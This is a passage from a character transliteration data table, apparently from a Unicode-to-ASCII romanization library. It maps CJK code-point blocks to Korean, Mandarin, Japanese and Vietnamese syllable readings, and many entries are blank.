'Phil ','Wi ','Hui ','Du ','Wa ','Du ','Wei ','Ren ','Fu ','Han ','Wei ','Yun ','Tao ','Kwu ','Kwu ','Xian ',
'Xie ','Sem ','Cey ','Um ','Za ','Wun ','So ','Le ','Peng ','Heng ','Yeng ','Wun ','Peng ','Yin ','Yin ','Hyang ',
],
'x98':[
'Ho ','Hyel ','Ceng ','Kyeng ','Kui ','Hang ','Swun ','Han ','Swu ','I ','Wuk ','Gu ','Song ','Kyu ','Ki ','Hang ',
'Yey ','Wan ','Pan ','Ton ','Di ','Dan ','Pan ','Pha ','Lyeng ','Ce ','Kyeng ','Lei ','He ','Qiao ','Al ','E ',
'Wei ','Hil ','Gua ','Sin ','I ','Shen ','Hay ','Dui ','Pian ','Ping ','Lei ','Pwu ','Hyep ','Twu ','Hoy ','Kui ',
'Hyep ','Le ','Ting ','Cheng ','Ying ','Jun ','Hu ','Am ','Kyeng ','Thoy ','Tui ','Pin ','Loy ','Thoy ','Zi ','Ca ',
'Chui ','Ding ','Loy ','Yan ','Han ','Jian ','Kwa ','Chwi ','Kyeng ','Qin ','Yi ','Si ','Cey ','Ayk ','Ak ','An ',
'Hun ','Kan ','Ong ','Cen ','An ','Hyen ','Sin ','Yi ','Wen ','Sang ','Cen ','Cen ','Jiang ','Ku ','Lyu ','Liao ',
'Piao ','Yi ','Man ','Qi ','Rao ','Ho ','Cho ','Ko ','Xun ','Qian ','Hui ','Cen ','Ru ','Hong ','Bin ','Hyen ',
'Pin ','Lo ','Lan ','Sep ','Kwan ','Ye ','Ding ','Qing ','Han ','Xiang ','Shun ','Xu ','Xu ','Wan ','Gu ','Dun ',
'Qi ','Ban ','Song ','Hang ','Yu ','Lu ','Ling ','Po ','Jing ','Jie ','Jia ','Tian ','Han ','Ying ','Jiong ','Hai ',
'Yi ','Pin ','Hui ','Tui ','Han ','Ying ','Ying ','Ke ','Ti ','Yong ','E ','Zhuan ','Yan ','E ','Nie ','Man ',
'Dian ','Sang ','Hao ','Lei ','Zhan ','Ru ','Pin ','Quan ','Phwung ','Biao ','Oroshi ','Fu ','Xia ','Cem ','Biao ','Sap ',
'Ba ','Thay ','Lyel ','Kwal ','Xuan ','Shao ','Kwu ','Bi ','Si ','Wei ','Yang ','Yao ','Swu ','Kai ','Sao ','Pem ',
'Liu ','Xi ','Lyo ','Piao ','Phyo ','Liu ','Phyo ','Phyo ','Biao ','Lyo ','','Sil ','Feng ','Biao ','Feng ','Yang ',
'Zhan ','Biao ','Sa ','Ju ','Si ','Sou ','Yao ','Liu ','Piao ','Biao ','Biao ','Pi ','Pen ','Fei ','Fei ','Sik ',
'Shi ','Son ','Ki ','Ceng ','Si ','Tuo ','Cen ','Son ','Xiang ','Tun ','Im ','E ','Juan ','Chik ','Um ','Pan ',
'Fan ','Son ','Um ','Zhu ','I ','Zhai ','Bi ','Jie ','Tao ','Liu ','Ci ','Chel ','Sa ','Pho ','Sik ','Duo ',
],
'x99':[
'Hai ','Im ','Tian ','Kyo ','Jia ','Pyeng ','Yao ','Tong ','Ci ','Hyang ','Yang ','Yang ','I ','Yan ','Le ','Yi ',
'Chan ','Bo ','Noy ','A ','Pho ','Cwun ','Dou ','Su ','Ye ','Shi ','Hyo ','Hun ','Guo ','Shi ','Cen ','Zhui ',
'Pyeng ','Xian ','Bu ','Ye ','Tan ','Fei ','Cang ','Wi ','Kwan ','E ','Nan ','Hun ','Ho ','Huang ','Chel ','Hui ',
'Cen ','Hwu ','He ','Tang ','Fen ','Wei ','Gu ','Cha ','Song ','Tang ','Bo ','Gao ','Huy ','Kwey ','Liu ','Sou ',
'Tao ','Ye ','On ','Mo ','Tang ','Man ','Bi ','Yu ','Swu ','Kun ','Can ','Kwey ','Chan ','Sen ','Chi ','Dan ',
'Uy ','Ki ','Yo ','Cheng ','Ong ','To ','Hui ','Hyang ','Zhan ','Fen ','Hai ','Meng ','Yem ','Mo ','Cham ','Xiang ',
'Luo ','Zuan ','Nang ','Shi ','Ceng ','Ji ','Tuo ','Xing ','Tun ','Xi ','Ren ','Yu ','Chi ','Fan ','Yin ','Jian ',
'Shi ','Bao ','Si ','Duo ','Yi ','Er ','Rao ','Xiang ','Jia ','Le ','Jiao ','Yi ','Bing ','Bo ','Dou ','E ',
'Yu ','Nei ','Jun ','Guo ','Hun ','Xian ','Guan ','Cha ','Kui ','Gu ','Sou ','Chan ','Ye ','Mo ','Bo ','Liu ',
'Xiu ','Jin ','Man ','Can ','Zhuan ','Nang ','Swu ','Kyu ','Koyk ','Hyang ','Fen ','Ba ','Ni ','Phil ','Bo ','Tu ',
'Han ','Fei ','Jian ','Am ','Ai ','Pok ','Xian ','Wen ','Hyeng ','Fen ','Bin ','Xing ','Ma ','E ','Phwung ','Han ',
'Cek ','Tha ','Tuo ','Chi ','Swun ','Zhu ','Zhi ','Pei ','Xin ','Il ','Sa ','Yin ','Wen ','Zhi ','Dan ','Lu ',
'You ','Pak ','Bao ','Kuai ','Tha ','Yek ','Kwu ','','Kwu ','Kyeng ','Bo ','Zhao ','Yuan ','Peng ','Zhou ','Ke ',
'Cwu ','No ','Kwu ','Pi ','Zang ','Ka ','Ling ','Zhen ','Tha ','Pwu ','Yang ','Sa ','Phil ','Tha ','Tha ','Sa ',
'Liu ','Ma ','Pyen ','Tao ','Zhi ','Rong ','Teng ','Dong ','Swun ','Quan ','Sin ','Jiong ','Er ','Hay ','Pak ','',
'Yin ','Lak ','Shuu ','Dan ','Xie ','Liu ','Ju ','Song ','Chim ','Mang ','Liang ','Han ','Tu ','Hyen ','Tui ','Cwun ',
],
'x9a':[
'E ','Ping ','Seng ','Ay ','Lok ','Chwu ','Zhou ','She ','Pyeng ','Kun ','Tao ','Lay ','Zong ','Kwa ','Ki ','Ki ',
'Yan ','Pi ','So ','Hem ','Jie ','Yao ','Mwu ','Pian ','Chong ','Phyen ','Qian ','Pi ','Huang ','Jian ','Huo ','Yu ',
'Ti ','Quan ','Xia ','Zong ','Kui ','Rou ','Si ','Gua ','Tuo ','Kui ','Sou ','Ken ','Cheng ','Cul ','Liu ','Pang ',
'Tung ','Xi ','Cao ','Du ','Yan ','Wen ','Chwu ','So ','Sen ','Li ','Zhi ','Shuang ','Lu ','Xi ','La ','Zhang ',
'Mayk ','O ','Cham ','Phyo ','Chong ','Kwu ','Bi ','Zhi ','Yu ','Xu ','Hwa ','Bo ','Swuk ','Hyo ','Lin ','Can ',
'Dun ','Liu ','Than ','Zeng ','Tan ','Kyo ','Tie ','Hem ','La ','Zhan ','Kyeng ','Yek ','Ye ','Tuo ','Bin ','Chwi ',
'Yan ','Peng ','Lye ','Teng ','Yang ','Ki ','Shuang ','Ju ','Xi ','Hwan ','Lye ','Biao ','Ma ','Yu ','Tuo ','Xun ',
'Chi ','Qu ','Il ','Bo ','Lu ','Zang ','Shi ','Si ','Fu ','Ju ','Zou ','Zhu ','Tuo ','Nu ','Jia ','Yi ',
'Tai ','Xiao ','Ma ','Yin ','Jiao ','Hua ','Luo ','Hai ','Pian ','Biao ','Li ','Cheng ','Yan ','Xin ','Qin ','Jun ',
'Qi ','Qi ','Ke ','Zhui ','Zong ','Swuk ','Can ','Pian ','Zhi ','Kui ','Sao ','Wu ','Ao ','Liu ','Qian ','Shan ',
'Piao ','Luo ','Cong ','Chan ','Zou ','Ji ','Shuang ','Xiang ','Kol ','Wei ','I ','I ','Yu ','Gan ','Yi ','Hang ',
'Thwu ','Xie ','Bao ','Bi ','Chi ','Ti ','Cey ','Ko ','Hay ','Kyo ','Gou ','Kua ','Kyek ','Tui ','Geng ','Pyen ',
'Pi ','Kwa ','Ka ','Yu ','Sui ','Lou ','Pak ','Xiao ','Pang ','Bo ','Ci ','Kuan ','Bin ','Mo ','Liao ','Lwu ',
'Nao ','Chok ','Cang ','Swu ','Chey ','Pin ','Kwan ','Lo ','Ko ','Ko ','Qiao ','Kao ','Qiao ','Lao ','Zao ','Phyo ',
'Kun ','Kon ','Ti ','Pang ','Xiu ','Yem ','Mo ','Dan ','Kun ','Bin ','Fa ','Cho ','Pi ','Ca ','Pal ','Yem ',
'Chey ','Pao ','Phi ','Mao ','Pwul ','Er ','Rong ','Qu ','','Hyu ','Kwal ','Kyey ','Peng ','Cwa ','Shao ','Sha ',
],
'x9b':[
'Ti ','Li ','Pin ','Zong ','Ti ','Pwul ','Song ','Zheng ','Kwen ','Zong ','Swun ','Cen ','Duo ','Ho ','La ','Jiu ',
'Ki ','Lian ','Cin ','Bin ','Peng ','Mo ','Sam ','Man ','Man ','Sung ','Swu ','Lie ','Qian ','Qian ','Nong ','Hwan ',
'Kwal ','Ning ','Pin ','Lyep ','Rang ','Dou ','Dou ','Lyo ','Hong ','Hyek ','Thwu ','Han ','Dou ','Dou ','Kwu ','Cheng ',
'Wul ','Wul ','Kyek ','Juan ','Fu ','Qian ','Gui ','Zong ','Liu ','Gui ','Sang ','Yu ','Kwi ','Mei ','Ji ','Qi ',
'Jie ','Koy ','Hon ','Pal ','Payk ','May ','Xu ','Yan ','So ','Liang ','Yu ','Chwu ','Qi ','Mang ','Lyang ','Wi ',
'Jian ','Li ','Piao ','Bi ','Ma ','Ji ','Xu ','Chou ','Yem ','Zhan ','E ','Dao ','In ','Ji ','Eri ','Gong ',
'Tuo ','Diao ','Ji ','Xu ','E ','E ','Sa ','Hang ','Tun ','Mo ','Jie ','Shen ','Fan ','Yuan ','Bi ','Lo ',
'Wen ','Hu ','Lu ','Za ','Pang ','Fen ','Na ','You ','Namazu ','Todo ','He ','Xia ','Qu ','Han ','Pi ','Ling ',
'Tha ','Bo ','Qiu ','Phyeng ','Fu ','Bi ','Ji ','Wei ','Ju ','Diao ','Bo ','You ','Gun ','Pi ','Cem ','Xing ',
'Thay ','Pho ','Pwu ','Ca ','Ju ','Gu ','Kajika ','Tong ','','Ta ','Kil ','Shu ','Hou ','Sang ','I ','An ',
'Wei ','Tiao ','Zhu ','Yin ','Lie ','Luo ','Tong ','Cey ','Ci ','Bing ','Yu ','Kyo ','Bu ','Hay ','Sen ','Ge ',
'Hui ','Bora ','Mate ','Kao ','Gori ','Duo ','Jun ','Ti ','Mian ','So ','Za ','Sha ','Qin ','Yu ','Nei ','Zhe ',
'Kon ','Kyeng ','','Wu ','Qiu ','Ting ','Pho ','Hon ','Tiao ','Li ','Sa ','Sa ','Gao ','Meng ','Ugui ','Asari ',
'Subashiri ','Kazunoko ','Yong ','Ni ','Chi ','Qi ','Cheng ','Xiang ','Nei ','Chun ','Ji ','Co ','Qie ','Ko ','Zhou ','Dong ',
'Lai ','Pi ','Yey ','Yi ','Kon ','Lu ','Jiu ','Chang ','Kyeng ','Lun ','Lung ','Chwu ','Li ','Meng ','Zong ','Zhi ',
'Nian ','Shachi ','Dojou ','Sukesou ','Shi ','Shen ','Hun ','Cey ','Hou ','Xing ','Zhu ','La ','Zong ','Cuk ','Bian ','Phyen ',
],
'x9c':[
'Huan ','Quan ','Ze ','Wei ','Wei ','Yu ','Qun ','Rou ','Cep ','Hwang ','Lyen ','Yan ','Chwu ','Chwu ','Jian ','Bi ',
'Ak ','Yang ','Pok ','Say ','Jian ','Ha ','Tuo ','Hu ','Muroaji ','Ruo ','Haraka ','Wen ','Jian ','Hao ','Wu ','Fang ',
'Sao ','Liu ','Ma ','Si ','Sa ','Hwan ','Shi ','Teng ','Thap ','Yo ','Ge ','Rong ','Qian ','Ki ','On ','Yak ',
'Hatahata ','Lyen ','O ','Luk ','Hui ','Min ','Ji ','Co ','Qu ','Kyen ','So ','Man ','Xi ','Qiu ','Phyo ','Ji ',
'Ji ','Zhu ','Jiang ','Qiu ','Zhuan ','Yong ','Zhang ','Kang ','Sel ','Pyel ','Jue ','Qu ','Xiang ','Bo ','Jiao ','Sim ',
'Su ','Huang ','Cwun ','Sen ','Sen ','Fan ','Kwel ','Lin ','Sim ','Miao ','Xi ','Eso ','Kyou ','Pwun ','Guan ','Hwu ',
'Hoy ','Zei ','Sao ','Cen ','Gan ','Gui ','Sheng ','Lyey ','Chang ','Hatahata ','Shiira ','Ai ','Ru ','Cey ','Xu ','Huo ',
'Shiira ','Li ','Lie ','Li ','Mie ','Zhen ','Xiang ','E ','Lo ','Guan ','Lye ','Sen ','Yu ','Dao ','Ji ','You ',
'Tun ','Lu ','Fang ','Ba ','He ','Bo ','Ping ','Nian ','Lu ','You ','Zha ','Fu ','Bo ','Bao ','Hou ','Pi ',
'Tai ','Gui ','Jie ','Kao ','Wei ','Er ','Tong ','Ze ','Hou ','Kuai ','Ji ','Jiao ','Xian ','Za ','Xiang ','Xun ',
'Geng ','Li ','Lian ','Jian ','Li ','Shi ','Tiao ','Gun ','Sha ','Wan ','Jun ','Ji ','Yong ','Qing ','Ling ','Qi ',
'Zou ','Fei ','Kun ','Chang ','Gu ','Ni ','Nian ','Diao ','Jing ','Shen ','Shi ','Zi ','Fen ','Die ','Bi ','Chang ',
'Shi ','Wen ','Wei ','Sai ','E ','Qiu ','Fu ','Huang ','Quan ','Jiang ','Bian ','Sao ','Ao ','Qi ','Ta ','Yin ',
'Yao ','Fang ','Jian ','Le ','Biao ','Xue ','Bie ','Man ','Min ','Yong ','Wei ','Xi ','Jue ','Shan ','Lin ','Zun ',
'Huo ','Gan ','Li ','Zhan ','Guan ','Co ','Ul ','Pwu ','Li ','Kwu ','Bu ','Yan ','Pwu ','Diao ','Kyey ','Pong ',
'Nio ','Gan ','Shi ','Pong ','Myeng ','Bao ','Yen ','Zhi ','Hu ','Qin ','Fu ','Fen ','Wen ','Jian ','Shi ','Yu ',
],
'x9d':[
'Fou ','Yao ','Jue ','Kyek ','Pi ','Huan ','Cim ','Po ','An ','A ','Zheng ','Fang ','Pong ','Wen ','Ou ','Te ',
'Jia ','Nu ','Lyeng ','Mie ','Fu ','Tha ','Wen ','Li ','Pyen ','Chi ','Ge ','Wen ','Zi ','Qu ','Xiao ','Chi ',
'Dan ','Ju ','You ','Ko ','Zhong ','Yu ','Ang ','Rong ','Ap ','Tie ','Yu ','Shigi ','Ying ','Zhui ','Wu ','Er ',
'Kwal ','Ai ','Zhi ','Yan ','Heng ','Jiao ','Al ','Lie ','Zhu ','Ren ','Yi ','Hong ','Luo ','Ru ','Mou ','Ge ',
'Ren ','Kyo ','Hyu ','Zhou ','Chi ','Luo ','Chidori ','Toki ','Ten ','Luan ','Jia ','Ji ','Yu ','Huan ','Tuo ','Bu ',
'Wu ','Kyen ','Yu ','Pal ','Cwun ','Xun ','Bi ','Xi ','Jun ','Ju ','Tu ','Jing ','Cey ','A ','A ','Kuang ',
'Kok ','Mwu ','Shen ','Lai ','Ikaruga ','Kakesu ','Lu ','Ping ','Shu ','Pok ','An ','Zhao ','Pwung ','Qin ','Qian ','Phil ',
'Co ','Lu ','Cak ','Jian ','Ju ','Tu ','Ya ','Wen ','Qi ','Li ','Ye ','Chwu ','Kong ','Zhui ','Kon ','Sheng ',
'Qi ','Jing ','Yi ','Yi ','Cheng ','Zi ','Lai ','Dong ','Qi ','Swun ','Geng ','Ju ','Qu ','Isuka ','Kikuitadaki ','Ji ',
'Shu ','','Chi ','Miao ','Rou ','An ','Chwu ','Ti ','Hu ','Ti ','Ak ','Jie ','Mao ','Fu ','Chun ','Tu ',
'Yan ','Kal ','Yuan ','Pian ','Kon ','Mei ','Hu ','Ying ','Dun ','Mok ','Ju ','Tsugumi ','Cheng ','Fang ','Gu ','Ayng ',
'Yuan ','Xuan ','Weng ','Shi ','Hak ','Chwu ','Tang ','Xia ','Yak ','Lyu ','Ji ','Kol ','Jian ','Zhun ','Han ','Ca ',
'Zi ','Ik ','Yo ','Yan ','Kyey ','Li ','Tian ','Kwu ','Ti ','Ti ','Ni ','Tu ','Ma ','Jiao ','Gao ','Tian ',
'Chen ','Li ','Zhuan ','Ca ','Ao ','Yao ','Yey ','Kwu ','Chi ','Ci ','Liao ','Rong ','Lou ','Bi ','Shuang ','Zhuo ',
'Yu ','Wu ','Jue ','Yin ','Quan ','Si ','Cho ','Yi ','Hua ','Pyel ','Ayng ','Swuk ','Huang ','Fan ','Jiao ','Liao ',
'Yen ','Ko ','Chwi ','Han ','Xian ','Tu ','Mai ','Zun ','Hul ','Ung ','Lo ','Tuan ','Xian ','Hak ','Yi ','Pyek ',
],
'x9e':[
'Shu ','Luo ','Qi ','Yi ','Ji ','Zhe ','Yu ','Cen ','Ye ','Yang ','Pi ','Ning ','Huo ','Mi ','Ying ','Mong ',
'Di ','Yue ','Yu ','Lei ','Bao ','Lo ','He ','Long ','Shuang ','Yue ','Ayng ','Kwan ','Kwu ','Li ','Lan ','Niao ',
'Jiu ','Ji ','Yuan ','Ming ','Shi ','Ou ','Ya ','Cang ','Bao ','Zhen ','Gu ','Dong ','Lu ','Ya ','Xiao ','Yang ',
'Ling ','Zhi ','Qu ','Yuan ','Xue ','Tuo ','Si ','Zhi ','Er ','Gua ','Xiu ','Heng ','Zhou ','Ge ','Luan ','Hong ',
'Wu ','Bo ','Li ','Juan ','Hu ','E ','Yu ','Xian ','Ti ','Wu ','Que ','Miao ','An ','Kun ','Bei ','Peng ',
'Qian ','Chun ','Geng ','Yuan ','Su ','Hu ','He ','E ','Gu ','Chwu ','Zi ','Mei ','Mu ','Ni ','Yao ','Weng ',
'Liu ','Ji ','Ni ','Jian ','He ','Yi ','Ying ','Zhe ','Liao ','Liao ','Jiao ','Jiu ','Yu ','Lu ','Xuan ','Zhan ',
'Ying ','Huo ','Meng ','Guan ','Shuang ','Lo ','Kung ','Lyeng ','Jian ','Ham ','Cuo ','Kem ','Jian ','Yem ','Cuo ','Lok ',
'Wu ','Cu ','Kwey ','Biao ','Chwu ','Biao ','Zhu ','Kyun ','Cwu ','Jian ','Mi ','Mi ','Wu ','Liu ','Chen ','Kyun ',
'Lin ','Yey ','Ki ','Lok ','Jiu ','Jun ','Jing ','Li ','Xiang ','Yan ','Jia ','Mi ','Li ','Sa ','Cang ','Lin ',
'Jing ','Ji ','Ling ','Yan ','Chwu ','Mayk ','Mayk ','Ge ','Chao ','Pwu ','Myen ','Mian ','Fu ','Pao ','Qu ','Kwuk ',
'Mo ','Fu ','Xian ','Lai ','Kwuk ','Myen ','','Feng ','Fu ','Kwuk ','Myen ','Ma ','Ma ','Ma ','Hwi ','Ma ',
'Zou ','Nen ','Fen ','Hwang ','Hwang ','Kum ','Guang ','Tian ','Tou ','Heng ','Xi ','Kuang ','Hoyng ','Se ','Lye ','Cem ',
'Li ','Huk ','Huk ','Yi ','Kem ','Dan ','Ki ','Tuan ','Mwuk ','Mo ','Kyem ','Tay ','Chwul ','Yu ','Cem ','I ',
'Hil ','Yan ','Qu ','Mei ','Yan ','Kyeng ','Yu ','Li ','Tang ','Du ','Can ','Yin ','An ','Yan ','Tam ','Am ',
'Zhen ','Dai ','Cham ','Yi ','Mi ','Tam ','Yem ','Tok ','Lu ','Zhi ','Pwun ','Pwul ','Po ','Min ','Min ','Wen ',
],
'x9f':[
'Chwuk ','Qu ','Co ','Wa ','Cwu ','Zhi ','Mang ','O ','Pyel ','Tha ','Pyek ','Yuan ','Chao ','Tuo ','Ceng ','Mi ',
'Nay ','Ding ','Zi ','Ko ','Gu ','Tong ','Fen ','To ','Yuan ','Pi ','Chang ','Gao ','Qi ','Yuan ','Tang ','Teng ',
'Se ','Shu ','Pwun ','Fei ','Wen ','Ba ','Diao ','Tuo ','Tong ','Qu ','Sheng ','Sek ','Yu ','Shi ','Ting ','O ',
'Nian ','Jing ','Hun ','Ju ','En ','Tu ','Ti ','Hyey ','Kyem ','En ','Lei ','Pi ','Yao ','Kwu ','Han ','Wu ',
'Wu ','Hou ','Xi ','Ge ','Cha ','Xiu ','Weng ','Zha ','Nong ','Nang ','Ca ','Cay ','Ji ','Zi ','Cay ','Cey ',
'Qi ','Ji ','Chi ','Chen ','Chin ','Hul ','Ya ','Un ','Xie ','Pho ','Cuo ','Shi ','Cha ','Chi ','Nian ','Ce ',
'Cho ','Lyeng ','Ling ','Chek ','Quan ','Xie ','Kan ','Sel ','Jiu ','Kyo ','Chak ','Kon ','E ','Chu ','Yi ','Ni ',
'Cuo ','Zou ','Wu ','Nen ','Xian ','Ou ','Ak ','Ak ','Yi ','Chuo ','Zou ','Dian ','Chu ','Jin ','Ya ','Chi ',
'Chen ','He ','Ken ','Ju ','Ling ','Pao ','Tiao ','Zi ','Ken ','Yu ','Chuo ','Qu ','Wo ','Lyong ','Pang ','Gong ',
'Pang ','Yan ','Lyong ','Long ','Kong ','Kam ','Ta ','Ling ','Ta ','Long ','Gong ','Kan ','Kwu ','Chwu ','Pyel ','Gui ',
'Yak ','Chwi ','Hwa ','Jue ','Hay ','Yu ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Shan ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'xf9':[
'Kay ','Kayng ','Ke ','Ko ','Kol ','Koc ','Kwi ','Kwi ','Kyun ','Kul ','Kum ','Na ','Na ','Na ','Na ','Na ',
'Na ','Na ','Na ','Na ','Nak ','Nak ','Nak ','Nak ','Nak ','Nak ','Nak ','Nan ','Nan ','Nan ','Nan ','Nan ',
'Nan ','Nam ','Nam ','Nam ','Nam ','Nap ','Nap ','Nap ','Nang ','Nang ','Nang ','Nang ','Nang ','Nay ','Nayng ','No ',
'No ','No ','No ','No ','No ','No ','No ','No ','No ','No ','No ','Nok ','Nok ','Nok ','Nok ','Nok ',
'Nok ','Non ','Nong ','Nong ','Nong ','Nong ','Noy ','Noy ','Noy ','Noy ','Nwu ','Nwu ','Nwu ','Nwu ','Nwu ','Nwu ',
'Nwu ','Nwu ','Nuk ','Nuk ','Num ','Nung ','Nung ','Nung ','Nung ','Nung ','Twu ','La ','Lak ','Lak ','Lan ','Lyeng ',
'Lo ','Lyul ','Li ','Pey ','Pen ','Pyen ','Pwu ','Pwul ','Pi ','Sak ','Sak ','Sam ','Sayk ','Sayng ','Sep ','Sey ',
'Sway ','Sin ','Sim ','Sip ','Ya ','Yak ','Yak ','Yang ','Yang ','Yang ','Yang ','Yang ','Yang ','Yang ','Yang ','Ye ',
'Ye ','Ye ','Ye ','Ye ','Ye ','Ye ','Ye ','Ye ','Ye ','Ye ','Yek ','Yek ','Yek ','Yek ','Yen ','Yen ',
'Yen ','Yen ','Yen ','Yen ','Yen ','Yen ','Yen ','Yen ','Yen ','Yen ','Yen ','Yen ','Yel ','Yel ','Yel ','Yel ',
'Yel ','Yel ','Yem ','Yem ','Yem ','Yem ','Yem ','Yep ','Yeng ','Yeng ','Yeng ','Yeng ','Yeng ','Yeng ','Yeng ','Yeng ',
'Yeng ','Yeng ','Yeng ','Yeng ','Yeng ','Yey ','Yey ','Yey ','Yey ','O ','Yo ','Yo ','Yo ','Yo ','Yo ','Yo ',
'Yo ','Yo ','Yo ','Yo ','Yong ','Wun ','Wen ','Yu ','Yu ','Yu ','Yu ','Yu ','Yu ','Yu ','Yu ','Yu ',
'Yu ','Yuk ','Yuk ','Yuk ','Yun ','Yun ','Yun ','Yun ','Yul ','Yul ','Yul ','Yul ','Yung ','I ','I ','I ',
'I ','I ','I ','I ','I ','I ','I ','I ','I ','I ','I ','Ik ','Ik ','In ','In ','In ',
'In ','In ','In ','In ','Im ','Im ','Im ','Ip ','Ip ','Ip ','Cang ','Cek ','Ci ','Cip ','Cha ','Chek ',
],
'xfa':[
'Chey ','Thak ','Thak ','Thang ','Thayk ','Thong ','Pho ','Phok ','Hang ','Hang ','Hyen ','Hwak ','Ol ','Huo ','','Coc ',
'Chong ','','Cheng ','','','Huy ','Ce ','Ik ','Lyey ','Sin ','Sang ','Pok ','Ceng ','Ceng ','Wu ','',
'Hagi ','','Cey ','','','Il ','To ','','','','Pan ','Sa ','Kwan ','Hak ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x200':[
'Ha ','Qi ','','','','Hai ','','','','Qiu ','','','','Shi ','','',
'','','','','jue ','','','','','','','yu ','','','','',
'','','','','','','','Ba ','Cup ','','Kha ','','','','','',
'','','','','Trut ','','','','','','','','','lu ','','',
'','','','','','','','','','','','','','','','',
'','Duoi ','','','','','','','','','Cui ','','','','','',
'','','','','','Ga ','','','','','Nham ','','','','','',
'','','','','','','','','Suot ','','','','','','','',
'','','','','','','','','jie ','','','','','','','',
'','','','','Zi ','','','','','','','','','Zung ','','',
'','','Pai ','','Dui ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','jiu ','','','','','',
],
'x201':[
'Vu ','','','','','','','','','','','','','jie ','','',
'','jue ','','','','','','','','','','','','','','',
'','','','','','','Gop ','Vai ','','Hai ','','','','','','',
'','','','Kep ','','','Nham ','','','','','Lam ','Nam ','Vai ','','wei ',
'','','jie ','','','','','','','','','','','Mat ','Mat ','',
'Mat ','','Mat ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','zhang ','','','Mat ','','','',
'','','','','','','','','','','','','Yong ','','','',
'xu ','','','','','','','','','','','','','','','',
'','','','','','','','','','Faan ','','','','','','',
'','','','Trum ','','','dan ','','','','','','','','','',
'','','','','','','','','','','','','','Voi ','','',
'','','','','','Va ','','','chu ','','','','','','','',
'','','','','','','','','','','','','','','','qu ',
'','','','','','','','','','','','','Hua ','Top ','','',
],
'x202':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','yun ','','','','','','','','','','','',
'dan ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Nay ','',
'Tray ','','','','','','','ju ','','du ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','jian ','','','','','','','','Ngai ','','Nho ','Thay ','','',
'','','','','','','','Bing ','','zhuan ','shu ','','jue ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','lian ','','','','','','','','she ','',
'','','','','','May ','Mu ','','','fu ','','','ju ','','','',
'','','','','','','','','','','Tao ','','','','','',
],
'x203':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','Wu ','','','','','','','','shuai ','','',
'gai ','','','','zhuang ','','','','','','','','','fu ','','',
'','Man ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','But ','','','','','yao ','','','','Gap ','','bie ',
'','','qu ','','','yang ','','','','','','','','sha ','','',
'','','','','','','','','','','Xum ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Cap ','Bay ','','','','','jue ','',
'','','','yu ','','','','sa ','','','','dun ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','xiao ','','','','','yu ','qu ','','','','',
'','','','','','Ngai ','','','','','','','','Tui ','','',
'','','','Giong ','','','','','','','','','','','','',
],
'x204':[
'','meng ','','','','','','','','jie ','shu ','','','su ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','meng ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Trom ','','','Long ','','','','',
'','','','','','Ngua ','','','','','nei ','nei ','','','zhai ','',
'','','','','','','','','','','','','Nhau ','','','cu ',
'','','','','','','','','','','','','','','','',
'','','','','wu ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','Rang ','','','','','','','','','','',
'','','','','','lian ','','Tin ','','','','','','','fan ','',
'Truoc ','','','','','','','','','','','','','','','',
'Quanh ','','','','Mong ','','','fu ','','','','','','','','',
'','','','','','','','','Vao ','Nhui ','','','','','','',
'','','','','','','','','','Lon ','','Tron ','Sip ','','','',
],
'x205':[
'','','','Xi ','','','','','','Juan ','','','','','','',
'','hai ','','','','lun ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','heng ','','','','','','','','','Zheng ','','','','',
'','','','','Nap ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'cheng ','','','qia ','','','yu ','','','','','','','zhao ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Xuong ','','','','','','','',
'','','','','','','','','Nap ','','','','','','','',
'','','','','Bay ','Chong ','','','','','','','','','','Ngat ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','qiu ','xie ','','','','','','',
'','','','','','','','','','','','die ','','','','',
'','','','Lun ','','','Ping ','','die ','','','','','','','',
'Tron ','','','','','','','','','Ret ','','','','liu ','','',
],
'x206':[
'','bu ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','lai ','','',
'','','he ','jiao ','','','','','','','','','','','','',
'','','','','','','','','','','','wu ','','','','',
'','','','','','','ju ','','','','','','','','','',
'','','','','jiu ','wei ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','xian ','','','','chang ','','','','','',
'Moc ','','','','he ','','','','','','','','','','','',
'','','Ra ','','','','','','','','','','','','','Got ',
'','zhe ','','','','ju ','','','','Shan ','Sha ','','','','','',
'','','','','','','','','','','','','Cham ','','','',
'','','','','','','','','','cu ','','','','','','',
'','','','','Chem ','','','','','','Tiu ','','','','','',
'','','','','','','','','fen ','','','','','','','',
],
'x207':[
'','','','jiu ','xu ','','','','','','','','','','Xian ','',
'kuai ','','','','','','','','','bu ','','','','','','',
